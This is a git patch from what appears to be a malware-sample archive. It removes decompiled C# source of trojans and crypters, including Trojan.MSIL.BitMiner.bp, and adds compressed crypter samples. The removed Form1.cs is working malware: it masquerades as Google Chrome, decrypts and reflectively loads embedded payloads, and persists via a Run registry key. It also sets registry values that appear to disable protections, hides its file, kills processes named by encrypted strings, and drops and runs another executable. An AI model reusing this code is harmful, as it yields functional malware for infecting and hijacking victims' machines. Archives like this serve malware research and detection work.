From 8f49a583f2f66ab351f44326179e75d444268527 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Sun, 21 Aug 2022 06:44:51 -0500 Subject: [PATCH] add --- .../AssemblyInfo.cs | 13 - .../BhnHPFkfgejUbiy | Bin 35336 -> 0 bytes .../Form1.cs | 556 -- .../Form1.resx | 120 - .../LOeaZpRhcXLrwit | 1 - .../My/MyApplication.cs | 50 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 207 - .../My/MySettings.cs | 68 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - .../Resources.resx | 120 - .../Trojan.MSIL.BitMiner.bp.csproj | 57 - .../Trojan.MSIL.BitMiner.bp.sln | 20 - .../ZZoehZybGElaulc | Bin 18440 -> 0 bytes .../o254g0boZm785JO6czc7u44n4n02.cs | 74 - .../AssemblyInfo.cs | 13 - .../Form1.cs | 141 - .../Form1.resx | 120 - .../My/MyApplication.cs | 48 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 212 - .../My/MySettings.cs | 73 - .../My/MySettingsProperty.cs | 24 - .../My/Resources/Resources.cs | 46 - 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.../IWriteCoderProperties.cs | 15 - .../InvalidParamException.cs | 18 - .../Sixxpack/Compressor.cs | 37 - .../Sixxpack/stub.cs | 60 - .../Trojan.MSIL.Crypt.hucf.csproj | 60 - .../Trojan.MSIL.Crypt.hucf.sln | 20 - .../AssemblyInfo.cs | 11 - .../ESCrypter.resx | 126 - .../Federico.cs | 71 - .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../Trojan.MSIL.Crypt.jc.csproj | 49 - .../Trojan.MSIL.Crypt.jc.sln | 20 - .../ĦĕĵČĄ.cs | 36 - .../ĬąĺįēĤĤģħđČđĵĈĈĖģ.cs | 32 - .../ıāĉąĨĺđ.cs | 33 - .../AssemblyInfo.cs | 11 - .../My/MyApplication.cs | 18 - .../My/MyComputer.cs | 24 - .../My/MyProject.cs | 108 - .../Trojan.MSIL.Crypt.od.csproj | 50 - .../Trojan.MSIL.Crypt.od.sln | 20 - .../afwwfafwafawfwa.cs | 76 - .../agawhhwahwwhwh.cs | 48 - .../aheehzhdzdhzez.cs | 300 - .../dkawod.cs | 48 - .../gawhwahawahw.cs | 48 - .../jdawdiawhiwhfifaw.cs | 102 - .../justsomeshit.cs | 30 - .../sakiajfwefjwa.cs | 67 - .../Crypters/Generic/Trojan.MSIL.Crypt.adf.7z | Bin 0 -> 6530 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.bbc.7z | Bin 0 -> 70045 bytes .../Generic/Trojan.MSIL.Crypt.bhma.7z | Bin 0 -> 294815 bytes .../Generic/Trojan.MSIL.Crypt.bjkg.7z | Bin 0 -> 83000 bytes .../Generic/Trojan.MSIL.Crypt.bkc-5.7z | Bin 0 -> 115245 bytes .../Generic/Trojan.MSIL.Crypt.bkc-d.7z | Bin 0 -> 450512 bytes .../Generic/Trojan.MSIL.Crypt.bkc-d1.7z | Bin 0 -> 1057236 bytes .../Generic/Trojan.MSIL.Crypt.bnhq.7z | Bin 0 -> 14355 bytes .../Generic/Trojan.MSIL.Crypt.btky-3.7z | Bin 0 -> 25917 bytes .../Generic/Trojan.MSIL.Crypt.btky.7z | Bin 0 -> 25915 bytes .../Generic/Trojan.MSIL.Crypt.btlb-6.7z | Bin 0 -> 26548 bytes .../Generic/Trojan.MSIL.Crypt.btlb-c.7z | Bin 0 -> 26029 bytes .../Generic/Trojan.MSIL.Crypt.btlb.7z | Bin 0 -> 26574 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.emp.7z | Bin 0 -> 186129 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.ewz.7z | Bin 0 -> 28381 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.fd.7z | Bin 0 -> 149435 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.fxo.7z | Bin 0 -> 194925 bytes .../Generic/Trojan.MSIL.Crypt.gsi-8.7z | Bin 0 -> 11895 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.gsi.7z | Bin 0 -> 11886 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.gtj.7z | Bin 938036 -> 981928 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.guf.7z | Bin 0 -> 32488 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.gvl.7z | Bin 0 -> 397796 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.gvw.7z | Bin 0 -> 40496 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.hek.7z | Bin 0 -> 458564 bytes .../Generic/Trojan.MSIL.Crypt.hfo-1.7z | Bin 0 -> 432373 bytes .../Generic/Trojan.MSIL.Crypt.hfo-16.7z | Bin 0 -> 253957 bytes .../Generic/Trojan.MSIL.Crypt.hfo-3.7z | Bin 0 -> 278108 bytes .../Generic/Trojan.MSIL.Crypt.hfo-8.7z | Bin 0 -> 278083 bytes .../Generic/Trojan.MSIL.Crypt.hfo-e.7z | Bin 0 -> 63926 bytes .../Generic/Trojan.MSIL.Crypt.hfo-e1.7z | Bin 0 -> 253721 bytes .../Generic/Trojan.MSIL.Crypt.hfo-f.7z | Bin 0 -> 262333 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.hfo.7z | Bin 0 -> 162985 bytes .../Generic/Trojan.MSIL.Crypt.hixz.7z | Bin 0 -> 52984 bytes .../Generic/Trojan.MSIL.Crypt.hljj.7z | Bin 0 -> 8693 bytes .../Generic/Trojan.MSIL.Crypt.hmyy.7z | Bin 0 -> 9971 bytes .../Generic/Trojan.MSIL.Crypt.hmzi.7z | Bin 0 -> 9976 bytes .../Generic/Trojan.MSIL.Crypt.hnoh.7z | Bin 0 -> 8694 bytes .../Generic/Trojan.MSIL.Crypt.hnss.7z | Bin 0 -> 8693 bytes .../Generic/Trojan.MSIL.Crypt.hucf.7z | Bin 0 -> 9970 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.jc.7z | Bin 0 -> 255186 bytes .../Crypters/Generic/Trojan.MSIL.Crypt.od.7z | Bin 0 -> 153104 bytes Win32/Stealers/Trojan.MSIL.BitMiner.bp.7z | Bin 0 -> 61025 bytes 900 files changed, 92307 deletions(-) delete mode 100644 MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/AssemblyInfo.cs delete mode 100644 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Win32/Crypters/Generic/Trojan.MSIL.Crypt.bhma.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.bjkg.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.bkc-5.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.bkc-d.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.bkc-d1.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.bnhq.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.btky-3.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.btky.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.btlb-6.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.btlb-c.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.btlb.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.emp.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.ewz.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.fd.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.fxo.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.gsi-8.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.gsi.7z rename MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gtj-37194e4c8b075c04cfb403842d3089bdcb2a71aadc48682f02af8e709100417b/{8519fd65-b578-46d3-8e71-59d331e774fc} => Win32/Crypters/Generic/Trojan.MSIL.Crypt.gtj.7z (95%) create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.guf.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.gvl.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.gvw.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hek.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hfo-1.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hfo-16.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hfo-3.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hfo-8.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hfo-e.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hfo-e1.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hfo-f.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hfo.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hixz.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hljj.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hmyy.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hmzi.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hnoh.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hnss.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.hucf.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.jc.7z create mode 100644 Win32/Crypters/Generic/Trojan.MSIL.Crypt.od.7z create mode 100644 Win32/Stealers/Trojan.MSIL.BitMiner.bp.7z diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/AssemblyInfo.cs b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/AssemblyInfo.cs deleted file mode 100644 index b9c6508c..00000000 --- a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("Google Chrome")] -[assembly: AssemblyFileVersion("8.4.2.6")] -[assembly: AssemblyTitle("Google Chrome")] -[assembly: Guid("e8c7ff49-833c-4200-a678-2f919282a9d8")] -[assembly: AssemblyCopyright("Copyright © Google Chrome 2012")] -[assembly: AssemblyProduct("Google Chrome")] -[assembly: AssemblyCompany("Google Chrome")] -[assembly: AssemblyTrademark("Google Chrome")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("8.5.5.4")] diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/BhnHPFkfgejUbiy b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/BhnHPFkfgejUbiy deleted file mode 100644 index 632e60ceabc6f8363641d435337620cf60ab6109..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 35336 zcmeFXL#!wa6D)Xa+qP}nwr%?!+qP}nwr$(C&-*vu=4G~%%wkrR>QqumC%x!O$!&qG z&BOP;3x{JYHqjY4PC2HD|9-Q&$TYMESO0r~Urh?ODJz2z`@b>jPBt$Ii%AytRc~Gc zln#Kp?`P#=yXl~N$8?E*fLma=doC`8V9V77QsicS6J&GfKz>@0f)coe6CCUy+|%+x zq~|*G#cm`*FP=yOeXYUfGgGzmtPy}$qr$uZ)_#0_5Q}h9u9fcp_Wh5?$tPdbS%r4j ze%3{CPJzwe?N95-{NAcM8)|v$=9mJUB_^K2g}3jjX+~{?`0kixvKm|-(o&yo;S$;5 z=a4v_5KDC(0<`4}@dba7Dm_>sC;R*Co^yHOenO!!VK)L5C8F52sL|5@hjpeV-P4FA zI{*3SNN8Mq);$`VIWBQnct%G2H~)Vd35o&?Ir+pxsZEG_Ge*#64g0bqMzghG|MN{3 zpdp2UK-A95S0YtcY?y%~_@tdFhp@id{W2-K^(p^P$2usnGNT_Z54PJE{|V^+)W~9H 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z?|H*@KhM6`n!LWx?ijnT3KU6AIe)y+`J#g=;)TReO`tur|imwvO&PFwok>eR#H6GmqSc-K4nT)qY4v*xz! zpY%I$!-DmTW ztd(nCRe3FoXKvD@xgV0{ojjDkiO9Z-%{$iPXB2+>cDHG3m3zYdB@s`hdRHHm?rfPh mqoLU@qvTb`eCLx~SM`B+!bQYQg}HCA(_$~5_%^ this._Button1; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button1 = value; - } - - internal virtual Button Button2 - { - get => this._Button2; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button2 = value; - } - - internal virtual Button Button3 - { - get => this._Button3; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Button3 = value; - } - - internal virtual CheckBox CheckBox1 - { - get => this._CheckBox1; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value; - } - - internal virtual CheckBox CheckBox2 - { - get => this._CheckBox2; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox2 = value; - } - - internal virtual Label Label1 - { - get => this._Label1; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value; - } - - internal virtual LinkLabel LinkLabel1 - { - get => this._LinkLabel1; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._LinkLabel1 = value; - } - - private void Me_Load(object sender, EventArgs e) - { - try - { - if (Conversions.ToDouble(this.GCTzSocfngoUufR[14]) != 0.0) - Thread.Sleep(Conversions.ToInteger(this.GCTzSocfngoUufR[14])); - if (Operators.CompareString(this.GCTzSocfngoUufR[4], "1", false) == 0) - { - if (Operators.CompareString(this.GCTzSocfngoUufR[5], "vbc", false) != 0) - { - if (Operators.CompareString(this.GCTzSocfngoUufR[5], "BoxpBqUOoodZnUf", false) == 0) - { - this.CIGivUzpSBeZxba = (object) new object[2] - { - (object) this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[0])), this.GCTzSocfngoUufR[1]), - (object) this.BoxpBqUOoodZnUf - }; - } - else - { - File.Copy(this.BoxpBqUOoodZnUf, Path.GetTempPath() + this.GCTzSocfngoUufR[5], true); - this.CIGivUzpSBeZxba = (object) new object[2] - { - (object) this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[0])), this.GCTzSocfngoUufR[1]), - (object) (Path.GetTempPath() + this.GCTzSocfngoUufR[5]) - }; - } - } - else - this.CIGivUzpSBeZxba = (object) new object[2] - { - (object) this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[0])), this.GCTzSocfngoUufR[1]), - Operators.ConcatenateObject((object) Environment.GetEnvironmentVariable(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("3rm17KN0IIs=", "swLIqEddFNZC"))), this.AJkbYXUdkgkbRcoUDSDucTJ("EshhKLN3lL3cZwWaXMHBwtx+OWJgEgvRHmCrQtZ72o+6iCrcD1Thwjc+nYPqgfW0", "KaegYxNFpXZt")) - }; - Assembly.Load(this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[2])), this.GCTzSocfngoUufR[3])).GetType(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("X0xCAeBJsjI=", "TyXoPoBuMvSC"))).InvokeMember(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("GbfyujLmcNc=", "JPLXnDKMVsnR")), BindingFlags.InvokeMethod, (Binder) null, (object) null, (object[]) this.CIGivUzpSBeZxba); - } - else - { - this.CIGivUzpSBeZxba = (object) new object[6] - { - (object) this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[0])), this.GCTzSocfngoUufR[1]), - (object) true, - (object) this.GCTzSocfngoUufR[5], - (object) ".exe", - (object) true, - (object) false - }; - Assembly.Load(this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[2])), this.GCTzSocfngoUufR[3])).GetType(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("HbrzivdJvbg=", "EToclJEhjQkp"))).InvokeMember(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("q6qld5F3Bvsq18pgclnLkg==", "ujPYZXczGOrF")), BindingFlags.InvokeMethod, (Binder) null, (object) null, (object[]) this.CIGivUzpSBeZxba); - } - if (Operators.CompareString(this.GCTzSocfngoUufR[6], "YES", false) == 0) - this.rbKlRUnFULflwDjGgnIdOPj(this.GCTzSocfngoUufR[7], this.GCTzSocfngoUufR[8]); - if (Operators.CompareString(this.GCTzSocfngoUufR[10], "YES", false) == 0) - this.XUPiGsPYJUeklhYgkBpeMWV(); - if (Operators.CompareString(this.GCTzSocfngoUufR[11], "YES", false) == 0) - this.rcgagekgDFWgpQgXMOJiYiJ(); - if (Operators.CompareString(this.GCTzSocfngoUufR[9], "YES", false) == 0) - this.mVoFoWtGSdllqoDfiMjAkWv(); - if (Operators.CompareString(this.GCTzSocfngoUufR[12], "YES", false) == 0) - this.JKeJjnrWILIWEawRAOFXhOr(); - if (Operators.CompareString(this.GCTzSocfngoUufR[13], "YES", false) == 0) - this.QrsSKZNcpBYmCpfNcKpPEXi(); - if (Operators.CompareString(this.GCTzSocfngoUufR[15], "YES", false) == 0) - { - int num = (int) Interaction.MsgBox((object) this.GCTzSocfngoUufR[18], (MsgBoxStyle) Conversions.ToInteger(this.GCTzSocfngoUufR[16]), (object) this.GCTzSocfngoUufR[17]); - } - if (Operators.CompareString(this.GCTzSocfngoUufR[19], "YES", false) == 0) - { - File.WriteAllBytes((Path.GetTempPath() + this.GCTzSocfngoUufR[22]).Replace("\0", ""), this.LsLOLVWWdCFsEingMSdaACi(this.KDToSBOWWjPRnNiVLGEorlu(this.GetType().Assembly.GetManifestResourceStream(this.GCTzSocfngoUufR[20])), this.GCTzSocfngoUufR[21])); - Process.Start((Path.GetTempPath() + this.GCTzSocfngoUufR[22]).Replace("\0", "")); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.Close(); - } - - public object AJkbYXUdkgkbRcoUDSDucTJ(string OpYLktpcQZZGtbw, string KLRMgiGGRsnFwXQ) - { - TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider(); - MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider(); - cryptoServiceProvider1.Key = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(KLRMgiGGRsnFwXQ)); - cryptoServiceProvider1.Mode = CipherMode.ECB; - ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor(); - byte[] inputBuffer = Convert.FromBase64String(OpYLktpcQZZGtbw); - return (object) Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length)); - } - - public byte[] LsLOLVWWdCFsEingMSdaACi(byte[] WDHGaiBwEtINXLU, string qrSdGIwGSUsCahp) - { - TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider(); - MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider(); - cryptoServiceProvider1.Key = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(qrSdGIwGSUsCahp)); - cryptoServiceProvider1.Mode = CipherMode.ECB; - ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor(); - byte[] inputBuffer = WDHGaiBwEtINXLU; - return decryptor.TransformFinalBlock(inputBuffer, 0, checked (inputBuffer.Length - 1)); - } - - private object rbKlRUnFULflwDjGgnIdOPj(string RjpBKtyoXKovFnX, string RFxHQxRvBmidXoU) - { - if (Operators.CompareString(this.BoxpBqUOoodZnUf, Path.GetTempPath() + RFxHQxRvBmidXoU, false) != 0) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("vrFlkkFZPyv/PaLhu+M8Sve0qn9MPR6N8YwlIiU6DgnwoqzG5px+sSQnT9PZlxUE", "DZlzhykoPDBu")), true); - registryKey.SetValue(RjpBKtyoXKovFnX, (object) (Path.GetTempPath() + RFxHQxRvBmidXoU), RegistryValueKind.String); - registryKey.Close(); - try - { - File.Copy(this.BoxpBqUOoodZnUf, Path.GetTempPath() + RFxHQxRvBmidXoU, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - object obj; - return obj; - } - - private object rcgagekgDFWgpQgXMOJiYiJ() - { - try - { - MyProject.Computer.Registry.SetValue(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("Ex83CH2VwetM26t99/umFrGW7rPWL8ritl3cZZmy+LtVOr/cxgyZNvpoj6mVAJ0hP51oiD0EPaSF2AvyOWOEqA==", "daxTrxtFJXsu")), Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("FMNBzQqMSBciR3sp4yAn8Q==", "XgbFUnIaVKqy")), (object) "1", RegistryValueKind.DWord); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - object obj; - return obj; - } - - private object XUPiGsPYJUeklhYgkBpeMWV() - { - try - { - MyProject.Computer.Registry.SetValue(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("I89VZskGCDhd/GZ5c+BjBJHC5XHBJARTbpGmz8vNGXi99SfQEJqcsUbU0BTE4oF+aD2a920L/sGdoYfyKxolee92OnnltQNSnfDwLq0G/L0=", "aYdPIPtGGVZc")), Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("AvKOWEExAhyCZLc3z8E57Q==", "sShaKruPrvKU")), (object) "1", RegistryValueKind.DWord); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - object obj; - return obj; - } - - private object mVoFoWtGSdllqoDfiMjAkWv() - { - try - { - MyProject.Computer.Registry.SetValue(Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("QgCjlzU7YcmHGIDowjH8FiMN/8gFV7tZKvdRM/bT6omRHVpWcrnjICbs8k3BG5t7W1ijH7r4dCtSCr0AzDD+Z9HH2uMABg5Fl62uhST0OrU=", "XkXKlIGiQhTX")), Conversions.ToString(this.AJkbYXUdkgkbRcoUDSDucTJ("fUTX/knxoEa84gjm2rGoTi0aFB+PmIaT", "EepjCyWrQIFQ")), (object) "1", RegistryValueKind.DWord); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - object obj; - return obj; - } - - private object QrsSKZNcpBYmCpfNcKpPEXi() - { - try - { - File.SetAttributes(this.BoxpBqUOoodZnUf, FileAttributes.Hidden | FileAttributes.System); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - object obj; - return obj; - } - - private object JKeJjnrWILIWEawRAOFXhOr() - { - Process[] processesByName1 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("XKWPUhwW7m/tezTA4dTfDg=="))); - int index1 = 0; - while (index1 < processesByName1.Length) - { - processesByName1[index1].Kill(); - checked { ++index1; } - } - Process[] processesByName2 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("e1G7yYeJYZ8G7OnXz9LegQ=="))); - int index2 = 0; - while (index2 < processesByName2.Length) - { - processesByName2[index2].Kill(); - checked { ++index2; } - } - Process[] processesByName3 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("Pve2X+qFyXSu25PqVRY1Wg=="))); - int index3 = 0; - while (index3 < processesByName3.Length) - { - processesByName3[index3].Kill(); - checked { ++index3; } - } - Process[] processesByName4 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("NQXCJ6HW5shpdkoPsD8XeA=="))); - int index4 = 0; - while (index4 < processesByName4.Length) - { - processesByName4[index4].Kill(); - checked { ++index4; } - } - Process[] processesByName5 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("8zm2foWAu6l8x0ClGoU29A=="))); - int index5 = 0; - while (index5 < processesByName5.Length) - { - processesByName5[index5].Kill(); - checked { ++index5; } - } - Process[] processesByName6 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("12tPwJrUdwcYqi/Qb6XX8g=="))); - int index6 = 0; - while (index6 < processesByName6.Length) - { - processesByName6[index6].Kill(); - checked { ++index6; } - } - Process[] processesByName7 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("l9W1baN3G99dBxRhfaxhOQ=="))); - int index7 = 0; - while (index7 < processesByName7.Length) - { - processesByName7[index7].Kill(); - checked { ++index7; } - } - Process[] processesByName8 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("UGGAdXbMfXXmSxkvK3pYVg=="))); - int index8 = 0; - while (index8 < processesByName8.Length) - { - processesByName8[index8].Kill(); - checked { ++index8; } - } - Process[] processesByName9 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("jyXTA+CxmEC077RGcCcjWA=="))); - int index9 = 0; - while (index9 < processesByName9.Length) - { - processesByName9[index9].Kill(); - checked { ++index9; } - } - Process[] processesByName10 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("Evb7RpMgYYSFzalFXwZoBg=="))); - int index10 = 0; - while (index10 < processesByName10.Length) - { - processesByName10[index10].Kill(); - checked { ++index10; } - } - Process[] processesByName11 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("2rL+4HzzfTuPdunxdJEjbQ=="))); - int index11 = 0; - while (index11 < processesByName11.Length) - { - processesByName11[index11].Kill(); - checked { ++index11; } - } - Process[] processesByName12 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("awgjqbhJ/8im/4kIGtRvyg=="))); - int index12 = 0; - while (index12 < processesByName12.Length) - { - processesByName12[index12].Kill(); - checked { ++index12; } - } - Process[] processesByName13 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("hJx7adv0sFK0oh1mHPs64w=="))); - int index13 = 0; - while (index13 < processesByName13.Length) - { - processesByName13[index13].Kill(); - checked { ++index13; } - } - Process[] processesByName14 = Process.GetProcessesByName(Conversions.ToString(this.rKATFrKYfIciVrvPUYehjuv("4i7QVOPPBtyRF45l1w2r0w=="))); - int index14 = 0; - while (index14 < processesByName14.Length) - { - processesByName14[index14].Kill(); - checked { ++index14; } - } - object obj; - return obj; - } - - private object rKATFrKYfIciVrvPUYehjuv(string sRYSmkQhVJLkULYcO) - { - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes("vjvuhowrpuHZGFrvuVtNRYQ", new byte[8] - { - (byte) 1, - (byte) 2, - (byte) 3, - (byte) 4, - (byte) 5, - (byte) 6, - (byte) 7, - (byte) 8 - }); - rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.Key.Length); - rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.IV.Length); - MemoryStream memoryStream = new MemoryStream(); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write); - object obj; - try - { - byte[] buffer = Convert.FromBase64String(sRYSmkQhVJLkULYcO); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.Close(); - obj = (object) Encoding.UTF8.GetString(memoryStream.ToArray()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return obj; - } - - private byte[] KDToSBOWWjPRnNiVLGEorlu(Stream fDQofwUuYVBnHVG) - { - int int32 = Convert.ToInt32(fDQofwUuYVBnHVG.Length); - byte[] buffer = new byte[checked (int32 + 1)]; - fDQofwUuYVBnHVG.Read(buffer, 0, int32); - fDQofwUuYVBnHVG.Close(); - return buffer; - } - } -} diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/Form1.resx b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- 